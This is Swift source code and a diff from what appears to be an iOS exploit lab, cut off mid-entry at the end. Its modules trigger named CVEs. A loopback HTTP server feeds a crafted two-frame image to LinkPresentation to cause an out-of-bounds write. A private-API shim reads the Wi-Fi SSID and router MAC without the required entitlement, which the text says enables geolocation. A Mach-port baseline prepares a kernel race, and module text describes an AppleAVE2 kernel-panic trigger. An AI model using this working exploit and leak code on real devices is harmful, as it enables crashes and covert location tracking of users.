ctx.disarm("lp.heic", "overflow=\(draw - pool)")
|
||||
return ModuleOutcome(
|
||||
headline: draw > pool ? tl("越界 ") + "\(draw - pool) B" : tl("两帧同尺寸"),
|
||||
detail: lines.joined(separator: "\n"),
|
||||
evidence: [tl("CGBitmapContextCreate 不校验行数"), tl("clear 写入 48 行 / 池只有 16 行")])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "lp.heic.fire",
|
||||
titleZh: "LinkPresentation 链接预览越界写(fire:本地 HTTP + LPMetadataProvider)",
|
||||
cve: "CVE-2026-112621",
|
||||
component: "LinkPresentation · LPAnimatedImageTranscoder",
|
||||
primitive: .oobWrite,
|
||||
reach: .inProcess,
|
||||
tier: 1,
|
||||
summaryZh: """
|
||||
走公开投递路径:在 127.0.0.1 上起一个只服务 HTML 与图片的端点,页面 og:image 指向双帧容器,然后调用 LPMetadataProvider。LinkPresentation 自己拉页面、读 og:image、建池、进入 LPAnimatedImageTranscoder。iOS 27.0/27.1 在转码队列上越界写并 SIGBUS/SIGSEGV;27.2 在 encodeNextFrame 比较当前帧与首帧尺寸,不符直接 failed,不进入绘制。
|
||||
""",
|
||||
notesZh: """
|
||||
这是进程内原语:崩的是 app,不是内核。崩溃后重启 app,本模块的判定会是 processDied,engine 日志最后一行是 fire 开始。真机与 Messages 收到链接后点 “加载预览” 是同一条路径;本模块只是把投递端换成本机回环,避免任何外部网络。
|
||||
""",
|
||||
run: { ctx in
|
||||
var lines: [String] = []
|
||||
let seed = lpContainer()
|
||||
guard let data = seed.data else { throw LabError(message: tl("无法构造双帧容器")) }
|
||||
let sizes = lpFrameSizes(data)
|
||||
lines.append("format=\(seed.label) frames=\(sizes.map { "\($0.0)x\($0.1)" }.joined(separator: " → "))")
|
||||
|
||||
let server = LoopbackImageServer(image: data, mime: seed.mime)
|
||||
let port = try server.start()
|
||||
guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else {
|
||||
throw LabError(message: tl("回环服务未能绑定"))
|
||||
}
|
||||
lines.append("serving \(url) ct=\(seed.mime)")
|
||||
|
||||
var title: String?
|
||||
var error: String?
|
||||
let sem = DispatchSemaphore(value: 0)
|
||||
ctx.arm("lp.heic.fire", "LPMetadataProvider \(url.absoluteString)")
|
||||
DispatchQueue.main.async {
|
||||
let provider = LPMetadataProvider()
|
||||
provider.timeout = 20
|
||||
provider.startFetchingMetadata(for: url) { meta, err in
|
||||
title = meta?.title
|
||||
error = err?.localizedDescription
|
||||
sem.signal()
|
||||
}
|
||||
}
|
||||
_ = sem.wait(timeout: .now() + 30)
|
||||
let served = server.requestCount
|
||||
server.stop()
|
||||
ctx.disarm("lp.heic.fire", "served=\(served)")
|
||||
|
||||
if let error {
|
||||
return ModuleOutcome(headline: tl("元数据获取失败"), detail: lines.joined(separator: "\n") + "\n" + error,
|
||||
evidence: [tl("请求数: ") + "\(served)"])
|
||||
}
|
||||
lines.append("requests served: \(served)")
|
||||
lines.append("metadata title: \(title ?? "(none)")")
|
||||
return ModuleOutcome(headline: tl("转码器未取第二帧 —— 修复构建"),
|
||||
detail: lines.joined(separator: "\n"),
|
||||
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
|
||||
}),
|
||||
|
||||
|
||||
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
|
||||
ExploitModule(
|
||||
id: "kern.ipc.lifecycle",
|
||||
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
|
||||
cve: "CVE-2026-112507",
|
||||
component: "XNU · ipc_port request table",
|
||||
primitive: .probe,
|
||||
reach: .kernel,
|
||||
tier: 3,
|
||||
summaryZh: """
|
||||
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
|
||||
""",
|
||||
notesZh: """
|
||||
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
|
||||
let r = KernelIPC.lifecycle()
|
||||
ctx.disarm("kern.ipc.lifecycle",
|
||||
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
|
||||
let head: String
|
||||
if r.requestKR != KERN_SUCCESS {
|
||||
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
|
||||
} else if r.deadName && r.reused {
|
||||
head = tl("dead-name 送达 · 名字被复用")
|
||||
} else if r.deadName {
|
||||
head = tl("dead-name 送达 · 名字未复用")
|
||||
} else {
|
||||
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
|
||||
}
|
||||
return ModuleOutcome(
|
||||
headline: head,
|
||||
detail: r.lines.joined(separator: "\n"),
|
||||
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
|
||||
tl("dead-name 消息 id = 0x40000002"),
|
||||
tl("复用只记录,不构成本身结论")])
|
||||
}),
|
||||
|
||||
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
|
||||
ExploitModule(
|
||||
id: "sc.dynamicstore",
|
||||
titleZh: "configd 动态存储读取 SSID 与路由器 MAC(无 wifi-info 权限)",
|
||||
cve: "CVE-2026-84636",
|
||||
component: "SystemConfiguration · configd dynamic store",
|
||||
primitive: .infoLeak,
|
||||
reach: .systemProcess,
|
||||
tier: 1,
|
||||
summaryZh: """
|
||||
configd 的动态存储把 en0/AirPort 的 SSID_STR、BSSID、信道、认证方式,以及服务 IPv4 条目里的 ARPResolvedHardwareAddress(路由器 MAC)、Global/DNS、DHCP 租约、蓝牙/热点/AutoUnlock 状态暴露给任意沙盒进程。SCDynamicStoreCreate + CopyValue 不需要 com.apple.developer.networking.wifi-info,也不触发定位权限;而受支持的 CNCopyCurrentNetworkInfo 在同一进程里返回 nil。SSID + 路由器 MAC 足以做 WiGLE/Google 的无线定位(约 10–30 米)。
|
||||
""",
|
||||
notesZh: """
|
||||
模块同时打印两条路径:受支持 API 的返回值与动态存储的原始字典,形成同进程对照。模拟器上 en0/AirPort 通常缺失(macOS 侧网络由 utun 承载),真机连 Wi-Fi 时才有 SSID 与 ARP 条目;缺失也是有效结果 —— 说明该平台把键收敛了。README 记录作者标注为 iOS 27 修复,实测以本机输出为准。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("sc.dynamicstore", "configd read")
|
||||
var lines: [String] = []
|
||||
guard let sc = SCDynamicStoreShim() else {
|
||||
ctx.fail("sc.dynamicstore", "dlsym")
|
||||
throw LabError(message: tl("SystemConfiguration 符号解析失败"))
|
||||
}
|
||||
guard let store = sc.create("cinder27") else {
|
||||
ctx.fail("sc.dynamicstore", "create")
|
||||
throw LabError(message: tl("SCDynamicStoreCreate 失败"))
|
||||
}
|
||||
let entitled = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any]
|
||||
lines.append("CNCopyCurrentNetworkInfo: " + (entitled.map { "\($0)" } ?? "nil"))
|
||||
|
||||
func value(_ key: String) -> [String: Any]? {
|
||||
sc.copy(store, key) as? [String: Any]
|
||||
}
|
||||
let airport = value("State:/Network/Interface/en0/AirPort")
|
||||
lines.append("en0/AirPort: " + (airport.map { "\($0)" } ?? "<absent>"))
|
||||
let ssid = airport?["SSID_STR"] as? String
|
||||
let global = value("State:/Network/Global/IPv4")
|
||||
lines.append("Global/IPv4: " + (global.map { "\($0)" } ?? "<absent>"))
|
||||
var routerMAC: String?
|
||||
if let uuid = global?["PrimaryService"] as? String {
|
||||
let svc = value("State:/Network/Service/\(uuid)/IPv4")
|
||||
lines.append("Service IPv4: " + (svc.map { "\($0)" } ?? "<absent>"))
|
||||
routerMAC = svc?["ARPResolvedHardwareAddress"] as? String
|
||||
}
|
||||
for key in ["State:/Network/Global/DNS",
|
||||
"com.apple.MobileBluetooth",
|
||||
"com.apple.MobileInternetSharing",
|
||||
"com.apple.sharing:/AutoUnlock/Enabled",
|
||||
"State:/IOKit/LowBatteryWarning"] {
|
||||
lines.append("\(key): " + (value(key).map { "\($0)" } ?? "<absent>"))
|
||||
}
|
||||
if let keys = sc.keys(store, "State:/Network/.*") as? [String] {
|
||||
lines.append("State:/Network keys: \(keys.count)")
|
||||
}
|
||||
ctx.disarm("sc.dynamicstore", "ssid=\(ssid != nil) mac=\(routerMAC != nil)")
|
||||
let headline: String
|
||||
if let ssid, let routerMAC {
|
||||
headline = "SSID=\(ssid) · router=\(routerMAC)"
|
||||
} else if ssid != nil {
|
||||
headline = tl("SSID 可读 · 路由器 MAC 缺失")
|
||||
} else {
|
||||
headline = tl("动态存储无 AirPort 条目(本平台/未连 Wi-Fi)")
|
||||
}
|
||||
return ModuleOutcome(headline: headline, detail: lines.joined(separator: "\n"),
|
||||
evidence: [tl("同进程 CNCopyCurrentNetworkInfo = nil"),
|
||||
tl("SSID + 路由器 MAC = 无定位权限的无线定位")])
|
||||
}),
|
||||
]
|
||||
}
|
||||
|
||||
// MARK: - shared helpers
|
||||
|
||||
private func fourCC(_ v: OSStatus) -> String {
|
||||
let n = UInt32(bitPattern: v)
|
||||
let b = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
|
||||
if b.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: b, encoding: .ascii)! + "'" }
|
||||
return "\(v)"
|
||||
}
|
||||
|
||||
private func aveSession() -> (VTCompressionSession?, OSStatus) {
|
||||
var session: VTCompressionSession?
|
||||
let st = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
|
||||
width: 1280, height: 720,
|
||||
codecType: kCMVideoCodecType_HEVC,
|
||||
encoderSpecification: nil,
|
||||
imageBufferAttributes: nil,
|
||||
compressedDataAllocator: nil,
|
||||
outputCallback: nil,
|
||||
refcon: nil,
|
||||
compressionSessionOut: &session)
|
||||
return (session, st)
|
||||
}
|
||||
|
||||
private func aveSet(_ s: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
|
||||
VTSessionSetProperty(s, key: key as CFString, value: value)
|
||||
}
|
||||
|
||||
private func aveRead(_ s: VTCompressionSession, _ key: String) -> String {
|
||||
var out: CFTypeRef?
|
||||
let st = VTSessionCopyProperty(s, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
|
||||
guard st == 0, let v = out else { return "copyErr=\(st)" }
|
||||
return "\(v)"
|
||||
}
|
||||
|
||||
private func lpSolid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage? {
|
||||
let cs = CGColorSpaceCreateDeviceRGB()
|
||||
guard let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8,
|
||||
bytesPerRow: w * 4, space: cs,
|
||||
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { return nil }
|
||||
ctx.setFillColor(red: r, green: g, blue: b, alpha: 1)
|
||||
ctx.fill(CGRect(x: 0, y: 0, width: w, height: h))
|
||||
return ctx.makeImage()
|
||||
}
|
||||
|
||||
/// HEIC first (the advisory format); TIFF served as image/gif is the fallback that
|
||||
/// still decodes as independent pages when the platform cannot encode HEIC.
|
||||
private func lpContainer() -> (data: Data?, label: String, mime: String) {
|
||||
for (type, label, mime) in [(UTType.heic, "heic", "image/heic"),
|
||||
(UTType.tiff, "tiff", "image/gif")] {
|
||||
let out = NSMutableData()
|
||||
guard let dest = CGImageDestinationCreateWithData(out, type.identifier as CFString, 2, nil) else { continue }
|
||||
guard let f0 = lpSolid(256, 16, 0.90, 0.10, 0.10),
|
||||
let f1 = lpSolid(256, 48, 0.10, 0.20, 0.90) else { continue }
|
||||
CGImageDestinationAddImage(dest, f0, nil)
|
||||
CGImageDestinationAddImage(dest, f1, nil)
|
||||
guard CGImageDestinationFinalize(dest) else { continue }
|
||||
if lpFrameSizes(out as Data).count == 2 { return (out as Data, label, mime) }
|
||||
}
|
||||
return (nil, "", "")
|
||||
}
|
||||
|
||||
private func lpFrameSizes(_ data: Data) -> [(Int, Int)] {
|
||||
guard let src = CGImageSourceCreateWithData(data as CFData, nil) else { return [] }
|
||||
let n = CGImageSourceGetCount(src)
|
||||
var out: [(Int, Int)] = []
|
||||
for i in 0..<min(n, 2) {
|
||||
guard let img = CGImageSourceCreateImageAtIndex(src, i, nil) else { continue }
|
||||
out.append((img.width, img.height))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
/// Minimal loopback HTTP server: one HTML page with og:image, one image endpoint.
|
||||
/// LinkPresentation fetches both exactly as it would from a remote host.
|
||||
private final class LoopbackImageServer {
|
||||
private let listener: NWListener
|
||||
private let image: Data
|
||||
private let mime: String
|
||||
private let lock = NSLock()
|
||||
private var served = 0
|
||||
|
||||
var requestCount: Int { lock.lock(); defer { lock.unlock() }; return served }
|
||||
|
||||
init(image: Data, mime: String) {
|
||||
self.image = image
|
||||
self.mime = mime
|
||||
let params = NWParameters.tcp
|
||||
params.allowLocalEndpointReuse = true
|
||||
listener = try! NWListener(using: params, on: .any)
|
||||
}
|
||||
|
||||
func start() throws -> UInt16 {
|
||||
let ready = DispatchSemaphore(value: 0)
|
||||
listener.stateUpdateHandler = { state in
|
||||
if case .ready = state { ready.signal() }
|
||||
}
|
||||
listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) }
|
||||
listener.start(queue: .global())
|
||||
_ = ready.wait(timeout: .now() + 5)
|
||||
return listener.port?.rawValue ?? 0
|
||||
}
|
||||
|
||||
func stop() { listener.cancel() }
|
||||
|
||||
private func serve(_ conn: NWConnection) {
|
||||
conn.start(queue: .global())
|
||||
conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in
|
||||
guard let self, let data, let head = String(data: data, encoding: .utf8) else {
|
||||
conn.cancel(); return
|
||||
}
|
||||
self.lock.lock(); self.served += 1; self.lock.unlock()
|
||||
let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/"
|
||||
if path.hasPrefix("/pic") {
|
||||
self.respond(conn, body: self.image, type: self.mime)
|
||||
} else {
|
||||
let page = """
|
||||
<!doctype html><html><head><meta charset="utf-8">
|
||||
<meta property="og:title" content="CVE-2026-112621">
|
||||
<meta property="og:image" content="http://127.0.0.1:\(self.listener.port?.rawValue ?? 0)/pic">
|
||||
</head><body>cve-2026-112621</body></html>
|
||||
"""
|
||||
self.respond(conn, body: Data(page.utf8), type: "text/html")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private func respond(_ conn: NWConnection, body: Data, type: String) {
|
||||
var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8)
|
||||
out.append(body)
|
||||
conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() })
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// SCDynamicStore is private on iOS — the public SDK marks it unavailable. The symbols
|
||||
/// still live in SystemConfiguration, and configd answers an unentitled process, which
|
||||
/// is the whole point of the CVE. Resolve them by name.
|
||||
private final class SCDynamicStoreShim {
|
||||
typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef?
|
||||
typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList?
|
||||
typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray?
|
||||
|
||||
private let createFn: CreateFn
|
||||
private let copyFn: CopyFn
|
||||
private let keysFn: KeysFn
|
||||
|
||||
init?() {
|
||||
guard let h = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW) else {
|
||||
return nil
|
||||
}
|
||||
guard let c = dlsym(h, "SCDynamicStoreCreate"),
|
||||
let v = dlsym(h, "SCDynamicStoreCopyValue"),
|
||||
let k = dlsym(h, "SCDynamicStoreCopyKeyList") else { return nil }
|
||||
createFn = unsafeBitCast(c, to: CreateFn.self)
|
||||
copyFn = unsafeBitCast(v, to: CopyFn.self)
|
||||
keysFn = unsafeBitCast(k, to: KeysFn.self)
|
||||
}
|
||||
|
||||
func create(_ name: String) -> CFTypeRef? {
|
||||
createFn(nil, name as CFString, nil, nil)
|
||||
}
|
||||
|
||||
func copy(_ store: CFTypeRef, _ key: String) -> CFPropertyList? {
|
||||
copyFn(store, key as CFString)
|
||||
}
|
||||
|
||||
func keys(_ store: CFTypeRef, _ pattern: String) -> CFArray? {
|
||||
keysFn(store, pattern as CFString)
|
||||
}
|
||||
}
|
||||
+97
-9
@@ -40,15 +40,20 @@ enum KernelIPC {
|
||||
var deallocations: Int = 0
|
||||
var budgetExhausted = false
|
||||
var notificationsRefused = 0
|
||||
/// Registrations that actually succeeded. Zero means the request-table path was
|
||||
/// never armed, so the run says nothing about 112507.
|
||||
var armed = 0
|
||||
var kernelErrors: [String: Int] = [:]
|
||||
|
||||
var summary: String {
|
||||
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
|
||||
s += "send=\(sends) dealloc=\(deallocations)"
|
||||
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
|
||||
if notificationsRefused > 0 {
|
||||
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,")
|
||||
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
|
||||
if armed == 0 && notifications > 0 {
|
||||
s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
|
||||
s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
|
||||
} else if notificationsRefused > 0 {
|
||||
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
|
||||
}
|
||||
if !kernelErrors.isEmpty {
|
||||
s += "\n" + kernelErrors.sorted { $0.value > $1.value }
|
||||
@@ -82,8 +87,8 @@ enum KernelIPC {
|
||||
/// send into the survivors, then release everything. Returns the counters it produced.
|
||||
private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
|
||||
refused: inout Int,
|
||||
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
|
||||
var alloc = 0, notify = 0, send = 0, dealloc = 0
|
||||
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
|
||||
var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
|
||||
|
||||
var ports: [mach_port_name_t] = []
|
||||
ports.reserveCapacity(depth)
|
||||
@@ -109,7 +114,7 @@ enum KernelIPC {
|
||||
let kr1 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
||||
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
|
||||
if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
|
||||
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
||||
notify += 1
|
||||
|
||||
@@ -117,7 +122,7 @@ enum KernelIPC {
|
||||
let kr2 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
|
||||
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
|
||||
if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
|
||||
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
|
||||
notify += 1
|
||||
}
|
||||
@@ -164,7 +169,7 @@ enum KernelIPC {
|
||||
}
|
||||
dealloc += 1
|
||||
}
|
||||
return (alloc, notify, send, dealloc)
|
||||
return (alloc, notify, send, dealloc, armed)
|
||||
}
|
||||
|
||||
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
|
||||
@@ -184,7 +189,7 @@ enum KernelIPC {
|
||||
}
|
||||
|
||||
DispatchQueue.concurrentPerform(iterations: workers) { _ in
|
||||
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
|
||||
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
|
||||
|
||||
while Date() < deadline {
|
||||
lock.lock()
|
||||
@@ -205,6 +210,7 @@ enum KernelIPC {
|
||||
localNotify += result.notify
|
||||
localSend += result.send
|
||||
localDealloc += result.dealloc
|
||||
localArmed += result.armed
|
||||
localOps += 4
|
||||
|
||||
lock.lock()
|
||||
@@ -218,6 +224,7 @@ enum KernelIPC {
|
||||
stats.notifications += localNotify
|
||||
stats.sends += localSend
|
||||
stats.deallocations += localDealloc
|
||||
stats.armed += localArmed
|
||||
lock.unlock()
|
||||
}
|
||||
|
||||
@@ -255,4 +262,85 @@ enum KernelIPC {
|
||||
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
|
||||
return out
|
||||
}
|
||||
|
||||
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
|
||||
/// receive right while the send right survives, send into the dead name, then receive
|
||||
/// the notification. No race, no frees of live request-table entries — this is the
|
||||
/// sequence the 112507 race has to stay correct through.
|
||||
///
|
||||
/// The second half frees the dead name and measures whether the kernel hands the same
|
||||
/// numeric name back to the next allocation. Name reuse is normal; the point is to
|
||||
/// record the baseline before the racer starts churning the namespace.
|
||||
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
|
||||
var lines: [String] = []
|
||||
let task = mach_task_self_
|
||||
var deadName = false
|
||||
var reused = false
|
||||
|
||||
var notify: mach_port_t = 0
|
||||
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, ¬ify)
|
||||
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
|
||||
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
|
||||
|
||||
var target: mach_port_t = 0
|
||||
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
|
||||
lines.append("target receive: \(name(kr)) name=\(target)")
|
||||
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
|
||||
|
||||
kr = mach_port_insert_right(task, target, target,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
|
||||
lines.append("insert send right: \(name(kr))")
|
||||
|
||||
var prev: mach_port_t = 0
|
||||
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
||||
kr = requestKR
|
||||
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
|
||||
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
||||
|
||||
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
|
||||
lines.append("drop receive right: \(name(kr))")
|
||||
|
||||
var hdr = mach_msg_header_t()
|
||||
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
|
||||
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
|
||||
hdr.msgh_remote_port = target
|
||||
hdr.msgh_local_port = 0
|
||||
hdr.msgh_id = 0
|
||||
kr = mach_msg_send(&hdr)
|
||||
lines.append("send to dead name: \(name(kr))")
|
||||
|
||||
// DEAD_NAME fires when the last send right is released, not when the receive
|
||||
// right is dropped. Release it before waiting, otherwise the receive always
|
||||
// times out and the baseline records a false negative.
|
||||
kr = mach_port_deallocate(task, target)
|
||||
lines.append("release last send right: \(name(kr))")
|
||||
|
||||
var buffer = [UInt8](repeating: 0, count: 256)
|
||||
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
|
||||
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
|
||||
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
|
||||
0, mach_msg_size_t(raw.count), notify, 200, 0)
|
||||
}
|
||||
lines.append("receive notification: \(name(kr))")
|
||||
if kr == KERN_SUCCESS {
|
||||
let got = buffer.withUnsafeBytes {
|
||||
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
|
||||
}
|
||||
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
|
||||
lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
|
||||
}
|
||||
|
||||
for _ in 0..<64 {
|
||||
var p: mach_port_t = 0
|
||||
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
|
||||
if p == target { reused = true; mach_port_destroy(task, p); break }
|
||||
mach_port_destroy(task, p)
|
||||
}
|
||||
}
|
||||
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
|
||||
|
||||
mach_port_destroy(task, notify)
|
||||
return (lines, deadName, reused, requestKR)
|
||||
}
|
||||
}
|
||||
@@ -196,7 +196,7 @@ enum ModuleText {
|
||||
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
|
||||
""",
|
||||
notes: """
|
||||
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
|
||||
The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
|
||||
"""),
|
||||
|
||||
"kern.decmpfs": Row(
|
||||
@@ -511,5 +511,61 @@ enum ModuleText {
|
||||
notes: """
|
||||
Four channels at 8 bits each, while declaring bitsPerPixel = 8.
|
||||
"""),
|
||||
|
||||
// MARK: arrivals (112705 / 112621 / 84636)
|
||||
|
||||
"ave.ntl": Row(
|
||||
title: "AppleAVE2 temporal-layer property surface (NumberOfTemporalLayers)",
|
||||
summary: """
|
||||
The HEVC compression session forwards NumberOfTemporalLayers verbatim to the AppleAVE2 driver, which indexes a fixed-size layer table by the declared value. 16463 walks past the table: the first frame submit writes at a fixed offset in AppleAVE2 (+0xDA78) and the kernel data-aborts; 16462 survives. iOS 27.2 refuses the property at SetProperty with -12900. This module only covers the property surface — session, EncoderUsage=1, RCMode=20, NTL write and readback — and submits no frame.
|
||||
""",
|
||||
notes: """
|
||||
The fire module submits the frame. The same driver is reachable on macOS: 16463 returns 0 at SetProperty there and reads back normalised to 1, so the value is accepted but not propagated; a frame submit still risks the host kernel. That is why the host builds this file but never executes the encode path.
|
||||
"""),
|
||||
|
||||
"ave.ntl.fire": Row(
|
||||
title: "AppleAVE2 temporal-layer out-of-bounds write (fire: one frame)",
|
||||
summary: """
|
||||
The full 112705 trigger: HEVC session → EncoderUsage=1 → RCMode=20 → NumberOfTemporalLayers=16463 → one frame. On iOS 27.0–27.1 the driver writes past its table while preparing that frame, the kernel data-aborts and the device reboots. Nothing returns in-process: the evidence is the processDied verdict on the overview after reboot and the panic .ips in Analytics.
|
||||
""",
|
||||
notes: """
|
||||
Tap only on a device that is allowed to reboot. The simulator has no AVE2 hardware encoder, so encode only returns a status there; do not run the equivalent C encode path on macOS (same driver, panics the host). On 27.2 the property is refused at SetProperty and fire returns -12900 cleanly.
|
||||
"""),
|
||||
|
||||
"lp.heic": Row(
|
||||
title: "LinkPresentation two-frame size mismatch (pool accounting)",
|
||||
summary: """
|
||||
LPAnimatedImageTranscoder configures its video writer from frame 0's pixel size, while encodeNextFrame takes the draw width/height from the current decoded frame and draws into the pool allocated for frame 0. A 256×16 then 256×48 container makes CGContextClearRect clear 48 rows (49,152 bytes) into a 16,384-byte pool — 32,768 bytes past the end. This module only builds the container and checks frames against pool capacity; it does not transcode.
|
||||
""",
|
||||
notes: """
|
||||
Width must stay equal: CoreGraphics rejects a width that exceeds the pool's row stride, so a 512-wide second frame fails at CGBitmapContextCreate and never reaches the clear. HEIC is the advisory carrier; when the platform cannot encode it the module falls back to TIFF delivered as image/gif — LPImage's _isAnimated trusts the response MIME, ImageIO still identifies the content.
|
||||
"""),
|
||||
|
||||
"lp.heic.fire": Row(
|
||||
title: "LinkPresentation link-preview out-of-bounds write (fire: loopback + LPMetadataProvider)",
|
||||
summary: """
|
||||
